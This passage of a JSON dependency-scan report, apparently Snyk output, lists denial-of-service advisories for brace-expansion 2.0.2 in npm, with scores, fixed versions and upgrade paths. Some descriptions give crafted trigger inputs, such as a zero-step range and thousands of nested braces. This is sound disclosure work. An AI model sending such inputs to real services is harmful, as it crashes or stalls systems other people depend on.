"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
